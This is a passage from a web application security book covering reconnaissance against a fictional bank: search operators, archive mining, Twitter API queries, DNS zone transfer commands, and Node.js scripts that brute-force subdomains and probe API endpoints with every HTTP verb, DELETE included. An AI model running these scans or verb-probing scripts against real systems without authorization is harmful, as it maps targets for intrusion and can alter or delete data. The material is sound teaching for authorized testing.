with breakpoints and file references, accurate performance measurement (which can
also be used as a hacking tool in side-channel attacks), as well as tools for performing
minor security and compatibility audits.

To analyze the network traffic going through your browser, do the following (in
Chrome):

1. Click the triple dots on the top right of the navigation bar to open the Settings
menu.

2. Under “More tools” click “Developer tools.”
3. At the top of this menu, click the “Network” tab. If it is not visible, expand the

developer tools horizontally until it is.

Now try navigating across the pages in any website while the Network tab is open.
Note that new HTTP requests will pop up, alongside a number of other requests (see
Figure 4-3).
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Figure 4-3. Network tab, used for analyzing network traffic that flows to and from your
web browser

You can use the Network tab in the browser to see all of the network traffic the
browser is handling. For a larger site it can become quite intimidating to filter
through.

Often the most interesting results come from the XHR tab, under the Network tab,
which will show you any HTTP POST, GET, PUT, DELETE, and other requests made
against a server, and filter out fonts, images, videos, and dependency files. You can
click any individual request in the lefthand pane to view more details.

Clicking one of these requests will bring up the raw and formatted versions of the
request, including any request headers and body. In the Preview tab that appears
when a request is selected, you will be able to see a pretty-formatted version of the
result of any API request.

The Response tab under XHR will show you a raw response payload, and the Timing
tab will show you very particular metrics on the queuing, downloading, and waiting
times associated with a request. These performance metrics are actually very impor‐
tant as they can be used to find side-channel attacks (an attack that relies on a secon‐
dary metric other than a response to gauge what code is running on a server; for
example, load time between two scripts on a server that are both called via the same
endpoint).

By now you should have enough familiarity with the browser Network tab to start
poking around and making use of it for recon. The tooling is intimidating, but it isn’t
actually that hard to learn.
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As you navigate through any website, you can check the request → headers → general
→ request URL to see what domain a request was sent to or a response was sent from.
Often this is all you need to find the affiliated servers of a primary website.

Taking Advantage of Public Records
Today the amount of publicly available information stored on the web is so huge that
an accidental data leak can slip through the cracks without notice for years. A good
hacker can take advantage of this fact and find many interesting tidbits of informa‐
tion that could lead to an easy attack down the line.

Some data that I’ve found on the web while performing penetration tests in the past
includes:

• Cached copies of GitHub repos that were accidentally turned public before being
turned private again

• SSH keys
• Various keys for services like Amazon AWS or Stripe that were exposed periodi‐

cally and then removed from a public-facing web application
• DNS listings and URLs that were not intended for a public audience
• Pages detailing unreleased products that were not intended to be live
• Financial records hosted on the web but not intended to be crawled by a search

engine
• Email addresses, phone numbers, and usernames

This information can be found in many places, such as:

• Search engines
• Social media posts
• Archiving applications, like archive.org
• Image searches and reverse image searches

When attempting to find subdomains, public records can also be a good source of
information because subdomains may not be easily found via a dictionary, but could
have been indexed in one of the services previously listed.
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Search Engine Caches
Google is the most commonly used search engine in the world, and is often thought
to have indexed more data than any other search engine. By itself, a Google search
would not be useful for manual recon due to the huge amount of data you would have
to sift through in order to find anything of value. This is furthered by the fact that
Google has cracked down on automated requests and rejects requests that do not
closely mimic that of a true web browser.

Fortunately, Google offers special search operators for power searchers that allow you
to increase the specificity of your search query. We can use the site:<my-site> oper‐
ator to ask Google to only query against a specific domain:

site:mega-bank.com log in

Doing this against a popular site will usually return pages upon pages of content from
the main domain, and very little content from the interesting subdomains. You will
need to improve the focus of your search further to start uncovering any interesting
stuff.

Use the minus operator to add specific negative conditions to any query string. For
example, -inurl:<pattern> will reject any URLs that match the pattern supplied.
Figure 4-4 shows an example of a search that combines the Google search operators
site: and --inurl:<pattern>. By combining these two operators we can ask Google
to return only wikipedia.org webpages that are about puppies while leaving out any
that contain the word “dog” in their URL. This technique can be used to reduce the
number of search results returned, and to search specific subdomains while ignoring
specific keywords. Mastery of Google’s search operators and operators in other search
engines will allow you to find information not easily discovered otherwise.

We can use the operator --inurl:<pattern> to remove results for the subdomains
we are already familiar with, like www. Note that it will also filter out instances of
www from other parts of a URL, as it does not specify the subdomain but the whole
URL string instead. This means that https://admin.mega-bank.com/www would be fil‐
tered as well, which means there could be false positive removals:

site:mega-bank.com -inurl:www

You can try this against many sites, and you will find subdomains you didn’t even
think existed. For example, let’s try it against the popular news site Reddit:

site:reddit.com -inurl:www
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Figure 4-4. A Google.com search that combines the Google search operators site: and
--inurl:<pattern>

The first result from this query will be code.reddit.com—an archive of code used in
the early versions of Reddit that the staff decided to make available to the public.
Websites like Reddit purposefully expose these domains to the public.

For our pen test against MegaBank, if we find additional domains that are purpose‐
fully exposed and not of interest to us, we will simply filter them out as well. If
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MegaBank had a mobile version hosted under the subdomain mobile.mega-bank.com,
we could easily filter that out as well:

site:mega-bank.com -inurl:www -inurl:mobile

When attempting to find subdomains for a given site, you can repeat this process
until you don’t find any more relevant results. It may also be beneficial to try these
techniques against other search engines like Bing—the large search engines all sup‐
port similar operators.

Record anything interesting you have found via this technique and then move on to
other subdomain recon methods.

Accidental Archives
Public archiving utilities like archive.org are useful because they build snapshots of
websites periodically and allow you to visit a copy of a website from the past.
Archive.org strives to preserve the history of the internet, as many sites die and new
sites take their domains. Because Archive.org stores historical snapshots of websites,
sometimes dating back 20 years, the website is a goldmine for finding information
that was once disclosed (purposefully or accidentally) but later removed. The particu‐
lar screenshot in Figure 4-5 is the home page of Wikipedia.org indexed in 2003—
nearly two decades ago!

Figure 4-5. Archive.org, a San Francisco-based nonprofit that has been around since
1996
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Generally speaking, search engines will index data regarding a website but try to
crawl that website periodically to keep their cache up to date. This means that for rel‐
evant current data you should look in a search engine, but for relevant historical data
you might be better off looking at a website archive.

The New York Times is one of the most popular web-based media companies by traf‐
fic. If we look up its main website on Archive.org (https://www.nytimes.com), we will
find that Archive.org has saved over 200,000 snapshots of the front page between 1996
and today.

Historical snapshots are particularly valuable if we know or can guess a point in time
when a web application shipped a major release, or had a serious security vulnerabil‐
ity disclosed. When looking for subdomains, historical archives often disclose these
via hyperlinks that were once exposed through the HTML or JS but are no longer
visible in the live app.

If we right-click on an Archive.org snapshot in our browser and select “View source,”
we can do a quick search for common URL patterns. A search for file:// might pull up
a previously live download, while a search for https:// or http:// should bring up all of
the HTTP hyperlinks.

We can automate the discovery of subdomains from an archive with these simple
steps:

1. Open 10 archives from 10 separate dates with significant time in between.
2. Right-click “View source,” then press Ctrl-A to highlight all HTML.
3. Press Ctrl-C to copy the HTML to your clipboard.
4. Create a file on your desktop named legacy-source.html.
5. Press Ctrl-V to paste the source code from an archive into the file.
6. Repeat this for each of the nine other archives you opened.
7. Open this file in your favorite text editor (VIM, Atom, VSCode, etc.).
8. Perform searches for the most common URL schemes:

• http://
• https://
• file://
• ftp://
• ftps://

You can find a full list of browser-supported URL schemes in the specification docu‐
ment, which is used accross all major browsers to define which schemes should be
supported.
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Social Snapshots
Every major social media website today makes its money from the sale of user data,
which depending on the platform can include public posts, private posts, and even
direct messages in some cases.

Unfortunately, today’s major social media companies go to great efforts to convince
users that their most private data is secure. This is often done through marketing
messages that describe the great lengths undertaken to keep customers’ data out of
reach. However, this is often only said in order to assist in attracting and maintaining
active users. Very few countries have laws and lawmakers modernized enough to
enforce the legitimacy of any of these claims. It is likely that many users of these sites
do not fully understand what data is being shared, by what methods it is being shared,
and for what goals this data is being consumed.

Finding subdomains for a company-sponsored pen test via social media data would
not be found unethical by most. However, I implore you to consider the end user
when you use these APIs in the future for more targeted recon.

For the sake of simplicity, we will take a look at the Twitter API as a recon example.
Keep in mind, however, that every major social media company offers a similar suite
of APIs typically following a similar API structure. The concepts required to query
and search through tweet data from the Twitter API can be applied to any other
major social media network.

Twitter API
Twitter has a number of offerings for searching and filtering through their data (see
Figure 4-6). These offerings differ in scope, feature set, and data set. This means the
more data you want access to and the more ways you wish to request and filter that
data, the more you will have to pay. In some cases, searches can even be performed
against Twitter’s servers instead of locally. Keep in mind that doing this for malicious
purposes is probably against Twitter’s ToS, so this usage should be restricted to white
hat only.
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Figure 4-6. Twitter’s API developer docs will quickstart your ability to search and filter
through user data

At the very bottom tier, Twitter offers a trial “search API” that allows you to sift
through 30 days’ worth of tweets, provided you request no more than 100 tweets per
query, and query no more than 30 times per minute. With the free tier API, your total
monthly queries are also capped at 250. It will take about 10 minutes’ worth of queries
to acquire the maximum monthly dataset offered at this tier. This means you can only
analyze 25,000 tweets without paying for a more advanced membership tier.

These limitations can make coding tools to analyze the API a bit difficult. If you
require Twitter for recon in a work-sponsored project, you may want to consider
upgrading or looking at other data sources.

We can use this API to build a JSON that contains links to *.mega-bank.com in order
to further our subdomain recon. To begin querying against the Twitter search API,
you will need the following:

• A registered developer account
• A registered app
• A bearer token to include in your requests in order to authenticate yourself

Querying this API is quite simple, although the documentation is scattered and at
times hard to understand due to lack of examples:

curl --request POST \
  --url https://api.twitter.com/1.1/tweets/search/30day/Prod.json \
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  --header 'authorization: Bearer <MY_TOKEN>' \
  --header 'content-type: application/json' \
  --data '{
           "maxResults": "100",
           "keyword": "mega-bank.com"
           }'

By default, this API performs fuzzy searching against keywords. For exact matches,
you must ensure that the transmitted string itself is enclosed in double quotes. Dou‐
ble quotes can be sent over valid JSON in the form: "keyword": "\"mega-bank.com
\"".

Recording the results of this API and searching for links may lead to the discovery of
previously unknown subdomains. These typically come from marketing campaigns,
ad trackers, and even hiring events that are tied to a different server than the main
app.

For a real-life example, try to construct a query that would request tweets regarding
Microsoft. After sifting through enough tweets, you will note that Microsoft has a
number of subdomains it actively promotes on Twitter, including:

• careers.microsoft.com (a job posting site)
• office.microsoft.com (the home of Microsoft Office)
• powerbi.microsoft.com (the home of the PowerBI product)
• support.microsoft.com (Microsoft customer support)

Note that if a tweet becomes popular enough, major search engines will begin index‐
ing it. So analyzing the Twitter API will be more relevant if you are looking for less
popular tweets. Highly popular viral tweets will be indexed by search engines due to
the amount of inbound links. This means sometimes it is more effective to simply
query against a search engine using the correct operators, as discussed previously in
this chapter.

Should the results of this API not be sufficient for your recon project, Twitter also
offers two other APIs: streaming and firehose.

Twitter’s streaming API provides a live stream of current tweets to analyze in real
time; however, this API only offers a very small percentage of the actual live tweets as
the volume is too large to process and send to a developer in real time. This means
that at any given time you could be missing more than 99% of the tweets. If an app
you are researching is trending or massively popular, this API could be beneficial. If
you are doing recon for a startup, this API won’t be of much use to you.

Twitter’s firehose API operates similarly to the streaming API, but guarantees deliv‐
ery of 100% of the tweets matching a criteria you provide. This is typically much
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more valuable than the streaming API for recon, as we prefer relevancy over quantity
in most situations.

To conclude, when using Twitter as a recon tool, follow these rules:

• For most web applications, querying the search API will give you the most rele‐
vant data for recon.

• Large-scale apps, or apps that are trending, may have useful information to be
found in the firehose or streaming APIs.

• If historical information is acceptable for your situation, considering download‐
ing a large historical data dump of tweets and querying locally against those
instead.

Remember, almost all major social media sites offer data APIs that can be used for
recon or other forms of analysis. If one doesn’t give you the results you are looking
for, another may.

Zone Transfer Attacks
Walking through a public-facing web app and analyzing network requests will only
get you so far. We also want to find the subdomains attached to MegaBank that are
not linked to the public web app in any way.

A zone transfer attack is a kind of recon trick that works against improperly config‐
ured Domain Name System (DNS) servers. It’s not really a “hack,” although though its
name would imply it is. Instead, it’s just a information-gathering technique that takes
little effort to use, and can give us some valuable information if it is successful. At its
core, a DNS zone transfer attack is a specially formatted request on behalf of an indi‐
vidual that is designed to look like a valid DNS zone transfer request from a valid
DNS server.

DNS servers are responsible for translating human-readable domain names (e.g.,
https://mega-bank.com) to machine-readable IP addresses (e.g., 195.250.100.195),
which are hierarchical and stored using a common pattern so that they can be easily
requested and traversed. DNS servers are valuable because they allow the IP address
of a server to change, without having to update the application users on that server. In
other words, a user can continually visit https://www.mega-bank.com without worry‐
ing about which server the request will resolve to.

The DNS system is very dependent on its ability to synchronize DNS record updates
with other DNS servers. DNS zone transfers are a standardized way that DNS servers
can share DNS records. Records are shared in a text-based format known as a zone
file.
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Zone files often contain DNS configuration data that is not intended to be easily
accessible. As a result, a properly configured DNS master server should only be able
to resolve zone transfer requests that are requested by another authorized DNS slave
server. If a DNS server is not properly configured to only resolve requests for other
specifically defined DNS servers, it will be vulnerable to bad actors.

To summarize, if we wish to attempt a zone transfer attack against MegaBank, we
need to pretend we are a DNS server and request a DNS zone file as if we needed it in
order to update our own records. We need to first find the DNS servers associated
with https://www.mega-bank.com. We can do this very easily in any Unix-based sys‐
tem from the terminal:

host -t mega-bank.com

The command host refers to a DNS lookup utility that you can find in most Linux
distros as well as in recent versions of macOS. The -t flag specifies we want to request
the nameservers that are responsible for resolving mega-bank.com.

The output from this command would look something like this:

mega-bank.com name server ns1.bankhost.com
mega-bank.com name server ns2.bankhost.com

The strings we are interested in from this result are ns1.bankhost.com and ns2.bank
host.com. These refer to the two nameservers that resolve for mega-bank.com.

Attempting to make a zone transfer request with host is very simple, and should only
take one line:

host -l mega-bank.com ns1.bankhost.com

Here the -l flag suggests we wish to get a zone transfer file for mega-bank.com from
ns1.bankhost.com in order to update our records.

If the request is successful, indicating an improperly secured DNS server, you would
see a result like this:

Using domain server:
Name: ns1.bankhost.com
Address: 195.11.100.25
Aliases:

mega-bank.com has address 195.250.100.195
mega-bank.com name server ns1.bankhost.com
mega-bank.com name server ns2.bankhost.com
mail.mega-bank.com has address 82.31.105.140
admin.mega-bank.com has address 32.45.105.144
internal.mega-bank.com has address 25.44.105.144

From these results, you now have a list of other web applications hosted under the
mega-bank.com domain, as well as their public IP addresses!
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You could even try navigating to those subdomains or IP addresses to see what
resolves. With a little bit of luck you have greatly broadened your attack surface!

Unfortunately, DNS zone transfer attacks don’t always go as planned like in the pre‐
ceding example. A properly configured server will give a different output when you
request a zone transfer:

Using domain server:
Name: ns1.secure-bank.com
Address: 141.122.34.45
Aliases:

: Transfer Failed.

The zone transfer attack is easy to stop, and you will find that many applications are
properly configured to reject these attempts. However, because attempting a zone
transfer attack only takes a few lines of Bash, it is almost always worth trying. If it
succeeds, you get a number of interesting subdomains that you may not have found
otherwise.

Brute Forcing Subdomains
As a final measure in discovering subdomains, brute force tactics can be used. These
can be effective against web applications with few security mechanisms in place, but
against more established and secure web applications we will find that our brute force
must be structured very intelligently.

Brute forcing subdomains should be our last resort as brute force attempts are easily
logged and often extremely time-consuming due to rate limitations, regex, and other
simple security mechanisms developed to prevent such types of snooping.

Brute force attacks are very easy to detect and could result in your
IP addresses being logged or banned by the server or its admin.

Brute forcing implies testing every possible combination of subdomains until we find
a match. With subdomains, there can be many possible matches, so stopping at the
first match may not be sufficient.

First, let’s stop to consider that unlike a local brute force, a brute force of subdomains
against a target domain requires network connectivity. Because we must perform this
brute force remotely, our attempts will be further slowed due to network latency.
Generally speaking, you can expect anywhere between 50 and 250 ms latency per
network request.
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This means we should make our requests asynchronous, and fire them all off as rap‐
idly as possible rather than waiting for the prior response. Doing this will dramati‐
cally reduce the time required for our brute force to complete.

The feedback loop required for detecting a live subdomain is quite simple. Our brute
force algorithm generates a subdomain, and we fire off a request to <subdomain-
guess>.mega-bank.com. If we receive a response, we mark it as a live subdomain.
Otherwise, we mark it as an unused subdomain.

Because the book you are reading is titled Web Application Security, the most impor‐
tant language for us to be familiar with for this context is JavaScript. JavaScript is not
only the sole programming language currently available for client-side scripting in
the web browser, but also an extremely powerful backend server-side language thanks
to Node.js and the open source community.

Let’s build up a brute force algorithm in two steps using JavaScript. Our script should
do the following:

1. Generate a list of potential subdomains.
2. Run through that list of subdomains, pinging each time to detect if a subdomain

is live.
3. Record the live subdomains and do nothing with the unused subdomains.

We can generate subdomains using the following:

/*
 * A simple function for brute forcing a list of subdomains
 * given a maximum length of each subdomain.
 */
const generateSubdomains = function(length) {

    /*
     * A list of characters from which to generate subdomains.
     *
     * This can be altered to include less common characters
     * like '-'.
     *
     * Chinese, Arabic, and Latin characters are also
     * supported by some browsers.
     */
    const charset = 'abcdefghijklmnopqrstuvwxyz'.split('');
    let subdomains = charset;
    let subdomain;
    let letter;
    let temp;

    /*
     * Time Complexity: o(n*m)
     * n = length of string
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     * m = number of valid characters
     */
    for (let i = 1; i < length; i++) {
        temp = [];
        for (let k = 0; k < subdomains.length; k++) {
          subdomain = subdomains[k];
          for (let m = 0; m < charset.length; m++) {
            letter = charset[m];
            temp.push(subdomain + letter);
          }
        }
        subdomains = temp
    }

    return subdomains;
}

const subdomains = generateSubdomains(4);

This script will generate every possible combination of characters of length n, where
the list of characters to assemble subdomains from is charset. The algorithm works
by splitting the charset string into an array of characters, then assigning the initial
set of characters to that array of characters.

Next, we iterate for duration length, creating a temporary storage array at each itera‐
tion. Then we iterate for each subdomain, and each character in the charset array
that specifies our available character set. Finally, we build up the temp array using
combinations of existing subdomains and letters.

Now, using this list of subdomains, we can begin querying against a top-level domain
(.com, .org., .net, etc.) like mega-bank.com. In order to do so, we will write a short
script that takes advantage of the DNS library provided within Node.js—a popular
JavaScript runtime.

To run this script, you just need a recent version of Node.js installed on your environ‐
ment (provided it is a Unix-based environment like Linux or Ubuntu):

const dns = require('dns');
const promises = [];

/*
 * This list can be filled with the previous brute force
 * script, or use a dictionary of common subdomains.
 */
const subdomains = [];

/*
 * Iterate through each subdomain, and perform an asynchronous
 * DNS query against each subdomain.
 *
 * This is much more performant than the more common `dns.lookup()`
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 * because `dns.lookup()` appears asynchronous from the JavaScript,
 * but relies on the operating system's getaddrinfo(3) which is
 * implemented synchronously.
 */
subdomains.forEach((subdomain) => {
  promises.push(new Promise((resolve, reject) => {
    dns.resolve(`${subdomain}.mega-bank.com`, function (err, ip) {
      return resolve({ subdomain: subdomain, ip: ip });
    });
  }));
});

// after all of the DNS queries have completed, log the results
Promise.all(promises).then(function(results) {
  results.forEach((result) => {
    if (!!result.ip) {
      console.log(result);
    }
  });
});

In this script, we do several things to improve the clarity and performance of the
brute forcing code.

First import the Node DNS library. Then we create an array promises, which will
store a list of promise objects. Promises are a much simpler way of dealing with asyn‐
chronous requests in JavaScript, and are supported natively in every major web
browser and Node.js.

After this, we create another array called subdomains, which should be populated
with the subdomains we generated from our first script (we will combine the two
scripts together at the end of this section). Next, we use the forEach() operator to
easily iterate through each subdomain in the subdomains array. This is equivalent to a
for iteration, but syntactically more elegant.

At each level in the subdomain iteration, we push a new promise object to the prom
ises array. In this promise object, we make a call to dns.resolve, which is a function
in the Node.js DNS library that attempts to resolve a domain name to an IP address.
These promises we push to the promise array only resolve once the DNS library has
finished its network request.

Finally, the Promise.all block takes an array of promise objects and results
(calls .then()) only when every promise in the array has been resolved (completed
its network request). The double !! operator in the result specifies we only want
results that come back defined, so we should ignore attempts that return no IP
address.

If we included a condition that called reject(), we would also need a catch() block
at the end to handle errors. The DNS library throws a number of errors, some of
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which may not be worth interrupting our brute force for. This was left out of the
example for simplicity’s sake but would be a good exercise if you intend to take this
example further.

Additionally, we are using dns.resolve versus dns.lookup because although the
JavaScript implementation of both resolve asynchronously (regardless of the order
they where fired), the native implementation that dns.lookup relies on is built on
libuv which performs the operations synchronously.

We can combine the two scripts into one program very easily. First, we generate our
list of potential subdomains, and then we perform our asynchronous brute force
attempt at resolving subdomains:

const dns = require('dns');

/*
 * A simple function for brute forcing a list of subdomains
 * given a maximum length of each subdomain.
 */
const generateSubdomains = function(length) {

    /*
     * A list of characters from which to generate subdomains.
     *
     * This can be altered to include less common characters
     * like '-'.
     *
     * Chinese, Arabic, and Latin characters are also
     * supported by some browsers.
     */
    const charset = 'abcdefghijklmnopqrstuvwxyz'.split('');
    let subdomains = charset;
    let subdomain;
    let letter;
    let temp;

    /*
     * Time Complexity: o(n*m)
     * n = length of string
     * m = number of valid characters
     */
    for (let i = 1; i < length; i++) {
        temp = [];
        for (let k = 0; k < subdomains.length; k++) {
          subdomain = subdomains[k];
          for (let m = 0; m < charset.length; m++) {
            letter = charset[m];
            temp.push(subdomain + letter);
          }
        }
        subdomains = temp
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    }

    return subdomains;
}

const subdomains = generateSubdomains(4);
const promises = [];

/*
 * Iterate through each subdomain, and perform an asynchronous
 * DNS query against each subdomain.
 *
 * This is much more performant than the more common `dns.lookup()`
 * because `dns.lookup()` appears asynchronous from the JavaScript,
 * but relies on the operating system's getaddrinfo(3) which is
 * implemented synchronously.
 */
subdomains.forEach((subdomain) => {
  promises.push(new Promise((resolve, reject) => {
    dns.resolve(`${subdomain}.mega-bank.com`, function (err, ip) {
      return resolve({ subdomain: subdomain, ip: ip });
    });
  }));
});

// after all of the DNS queries have completed, log the results
Promise.all(promises).then(function(results) {
  results.forEach((result) => {
    if (!!result.ip) {
      console.log(result);
    }
  });
});

After a short period of waiting, we will see a list of valid subdomains in the terminal:

{ subdomain: 'mail', ip: '12.32.244.156' },
{ subdomain: 'admin', ip: '123.42.12.222' },
{ subdomain: 'dev', ip: '12.21.240.117' },
{ subdomain: 'test', ip: '14.34.27.119' },
{ subdomain: 'www', ip: '12.14.220.224' },
{ subdomain: 'shop', ip: '128.127.244.11' },
{ subdomain: 'ftp', ip: '12.31.222.212' },
{ subdomain: 'forum', ip: '14.15.78.136' }

Dictionary Attacks
Rather than attempting every possible subdomain, we can speed up the process fur‐
ther by utilizing a dictionary attack instead of a brute force attack. Much like a brute
force attack, a dictionary attack iterates through a wide array of potential
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subdomains, but instead of randomly generating them, they are pulled from a list of
the most common subdomains.

Dictionary attacks are much faster, and will usually find you something of interest.
Only the most peculiar and nonstandard subdomains will be hidden from a dictio‐
nary attack.

A popular open source DNS scanner called dnscan ships with a list of the most popu‐
lar subdomains on the internet, based off of millions of subdomains from over 86,000
DNS zone records. According to the subdomain scan data from dnscan, the top 25
most common subdomains are as follows:

www
mail
ftp
localhost
webmail
smtp
pop
ns1
webdisk
ns2
cpanel
whm
autodiscover
autoconfig
m
imap
test
ns
blog
pop3
dev
www2
admin
forum
news

The dnscan repository on GitHub hosts files containing the top 10,000 subdomains
that can be integrated into your recon process thanks to its very open GNU v3
license. You can find dnscan’s subdomain lists, and source code on GitHub.

We can easily plug a dictionary like dnscan into our script. For smaller lists, you can
simply copy/paste/hardcode the strings into the script. For large lists, like dnscan’s
10,000 subdomain list, we should keep the data separate from the script and pull it in
at runtime. This will make it much easier to modify the subdomain list, or make use
of other subdomain lists. Most of these lists will be in .csv format, making integra‐
tion into your subdomain recon script very simple:
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const dns = require('dns');
const csv = require('csv-parser');
const fs = require('fs');

const promises = [];

/*
 * Begin streaming the subdomain data from disk (versus
 * pulling it all into memory at once, in case it is a large file).
 *
 * On each line, call `dns.resolve` to query the subdomain and
 * check if it exists. Store these promises in the `promises` array.
 *
 * When all lines have been read, and all promises have been resolved,
 * then log the subdomains found to the console.
 *
 * Performance Upgrade: if the subdomains list is exceptionally large,
 * then a second file should be opened and the results should be
 * streamed to that file whenever a promise resolves.
 */
fs.createReadStream('subdomains-10000.txt')
  .pipe(csv())
  .on('data', (subdomain) => {
    promises.push(new Promise((resolve, reject) => {
      dns.resolve(`${subdomain}.mega-bank.com`, function (err, ip) {
        return resolve({ subdomain: subdomain, ip: ip });
      });
    }));
  })
  .on('end', () => {

   // after all of the DNS queries have completed, log the results
   Promise.all(promises).then(function(results) {
     results.forEach((result) => {
       if (!!result.ip) {
         console.log(result);
       }
     });
   });
  });

Yes, it is that simple! If you can find a solid dictionary of subdomains (it’s just one
search away), you can just paste it into the brute force script, and now you have a
dictionary attack script to use as well.

Because the dictionary approach is much more efficient than the brute force
approach, it may be wise to begin with a dictionary and then use a brute force subdo‐
main generation only if the dictionary does not return the results you are seeking.
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Summary
When performing recon against a web application, the main goal should be to build a
map of the application that can be used later when prioritizing and deploying attack
payloads. An initial component of this search is understanding what servers are
responsible for keeping an application functioning—hence our search for subdo‐
mains attached to the main domain of an application.

Consumer-facing domains, such as the client of a banking website, usually get the
most scrutiny. Bugs will be fixed rapidly, as visitors are exposed to them on a daily
basis.

Servers that run behind the scenes, like a mail server or admin backdoor, are often
riddled with bugs as they have much less use and exposure. Often, finding one of
these “behind-the-scenes” APIs can be a beneficial jumpstart when searching for vul‐
nerabilities to exploit in an application.

A number of techniques should be used when trying to find subdomains, as one tech‐
nique may not provide comprehensive results. Once you believe you have performed
sufficient reconnaissance and have collected a few subdomains for the domain you
are testing against, you can move on to other recon techniques—but you are always
welcome to come back and look for more if you are not having luck with more obvi‐
ous attack vectors.
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CHAPTER 5

API Analysis

API endpoint analysis is the next logical skill in a recon toolkit after subdomain
discovery. What domains does this application make use of? If this application has
three domains (x.domain, y.domain, and z.domain, for example), I should be aware
that each of them may have their own unique API endpoints.

Generally speaking, we can use very similar techniques to those we used when
attempting to find subdomains. Brute force attacks and dictionary attacks work well
here, but manual efforts and logical analysis are also often rewarded.

Finding APIs is the second step in learning about the structure of a web application
following discovery of subdomains. This step will provide us with the information we
need to begin understanding the purpose of an exposed API. When we understand
why an API is exposed over the network, we can then begin to see how it fits into an
application and what its business purpose is.

Endpoint Discovery
Previously we discussed how most enterprise applications today follow a particular
scheme when defining the structure of their APIs. Typically, APIs will either follow a
REST format or a SOAP format. REST is becoming much more popular, and is con‐
sidered to be the ideal structure for modern web application APIs today.

We can make use of the developer tools in our browser as we walk through an appli‐
cation and analyze the network requests. If we see a number of HTTP requests that
look like this:

GET api.mega-bank.com/users/1234
GET api.mega-bank.com/users/1234/payments
POST api.mega-bank.com/users/1234/payments
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It’s pretty safe to assume that this is a REST API. Notice that each endpoint specifies a
particular resource rather than a function.

Furthermore, we can assume that the nested resource payments belongs to user 1234,
which tells us this API is hierarchical. This is another telltale sign of RESTful design.

If we look at the cookies getting sent with each request, and look at the headers of
each request, we may also find signs of RESTful architecture:

POST /users/1234/payments HTTP/1.1
Host: api.mega-bank.com
Authorization: Bearer abc21323
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/1.0 (KHTML, like Gecko)

A token being sent on every request is another sign of RESTful API design. REST
APIs are supposed to be stateless, which means the server should not keep track of its
requesters.

Once we know this is indeed a REST API, we can start to make logical hypotheses
regarding available endpoints.

Table 5-1 lists the HTTP verbs that REST architecture supports.

Table 5-1. HTTP verbs that REST architecture supports

REST HTTP Verb Usage
POST Create

GET Read

PUT Update/Replace

PATCH Update/Modify

DELETE Delete

Using the knowledge of what HTTP verbs are supported by the architecture spec, we
can look at the requests we found in the browser console targeting particular resour‐
ces. Then we can attempt to make requests to those resources using different HTTP
verbs and see if the API returns anything interesting.

The HTTP specification defines a special method that only exists to give information
about a particular API’s verbs. This method is called OPTIONS, and should be our first
go-to when performing recon against an API. We can easily make a request in curl
from the terminal:

curl -i -X OPTIONS https://api.mega-bank.com/users/1234

If the OPTIONS request was successful, we should see the following response:

200 OK
Allow: HEAD, GET, PUT, DELETE, OPTIONS
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Generally speaking, OPTIONS will only be available on APIs specifically designated for
public use. So while it’s an easy first attempt, we will need a more robust discovery
solution for most apps we attempt to test. Very few enterprise applications expose
OPTIONS.

Let’s move on to a more likely method of determining accepted HTTP verbs. The first
API call we saw in our browser was the following:

GET api.mega-bank.com/users/1234

We can now expand this to:

GET api.mega-bank.com/users/1234
POST api.mega-bank.com/users/1234
PUT api.mega-bank.com/users/1234
PATCH api.mega-bank.com/users/1234
DELETE api.mega-bank.com/users/1234

With the above list of HTTP verbs in mind, we can generate a script to test the legiti‐
macy of our theory.

Brute forcing API endpoint HTTP verbs has the possible side effect
of deleting or altering application data. Make sure you have explicit
permission from the application owner prior to performing any
type of brute force attempt against an application API.

Our script has a simple purpose: using a given endpoint (we know this endpoint
already accepts at least one HTTP verb), try each additional HTTP verb. After each
additional HTTP verb is tried against the endpoint, record and print the results:

/*
 * Given a URL (cooresponding to an API endpoint),
 * attempt requests with various HTTP verbs to determine
 * which HTTP verbs map to the given endpoint.
 */
const discoverHTTPVerbs = function(url) {
 const verbs = ['POST', 'GET', 'PUT', 'PATCH', 'DELETE'];
 const promises = [];

 verbs.forEach((verb) => {
  const promise = new Promise((resolve, reject) => {
   const http = new XMLHttpRequest();

   http.open(verb, url, true)
   http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

   /*
    * If the request is successful, resolve the promise and
    * include the status code in the result.
    */
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   http.onreadystatechange = function() {
    if (http.readyState === 4) {
     return resolve({ verb: verb, status: http.status });
    }
   }

   /*
    * If the request is not successful, or does not complete in time, mark
    * the request as unsuccessful. The timeout should be tweaked based on
    * average response time.
    */
   setTimeout(() => {
    return resolve({ verb: verb, status: -1 });
   }, 1000);

   // initiate the HTTP request
   http.send({});
  });

  // add the promise object to the promises array
  promises.push(promise);
 });

 /*
  * When all verbs have been attempted, log the results of their
  * respective promises to the console.
  */
 Promise.all(promises).then(function(values) {
  console.log(values);
 });
}

The way this script functions on a technical level is just as simple. HTTP endpoints
return a status code alongside any message they send back to the browser. We don’t
actually care what this status code is. We just want to see a status code.

We make a number of HTTP requests against the API, one for each HTTP verb. Most
servers do not respond to requests that do not map to a valid endpoint, so we have an
additional case where we return –1 if a request does not receive a response within 1
second. Generally speaking, 1 second (or 1,000 ms in this case) is plenty of time for
an API to respond. You can tweak this up or down depending on your own use case.

After the promises have all resolved, you can look at the log output to determine
which HTTP verbs have an associated endpoint.
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Authentication Mechanisms
Guessing the payload shape required for an API endpoint is much more difficult than
just asserting that an API endpoint exists.

The easiest way is to analyze the structure of known requests being sent via the
browser. Beyond that we must make educated guesses about the shape required for
the API endpoint and test them manually. It’s possible to automate the discovery of
the structure of an API endpoint, but any attempts at doing so that don’t involve ana‐
lyzing existing requests would be very easy to detect and log.

It’s usually best to start with common endpoints that can be found on nearly every
application: sign in, sign up, password reset, etc. These often take a similarly shaped
payload to that of other apps, since authentication is usually designed based on a
standardized scheme.

Every application with a public web user interface should have a login page. The way
they authenticate your session, however, may differ. It’s important to know what type
of authentication scheme you are working with because many modern applications
send authentication tokens with every request. This means if we can reverse engineer
the type of authentication used and understand how the token is being attached to
requests, it will be easier to analyze other API endpoints that rely on an authenticated
user token.

There are several major authentication schemes in use today, the most common of
which are shown in Table 5-2.

Table 5-2. Major authentication schemes

Authentication scheme Implementation details Strengths Weaknesses
HTTP Basic Auth Username and password sent on

each request
All major browsers
support this natively

Session does not expire;
easy to intercept

HTTP Digest Authentication Hashed user
name:realm:password sent
on each request

More difficult to
intercept; server can
reject expired tokens

Encryption strength
dependent on hashing
algorithm used

OAuth “Bearer” token-based auth; allows
sign in with other websites such as
Amazon → Twitch

Tokenized permissions
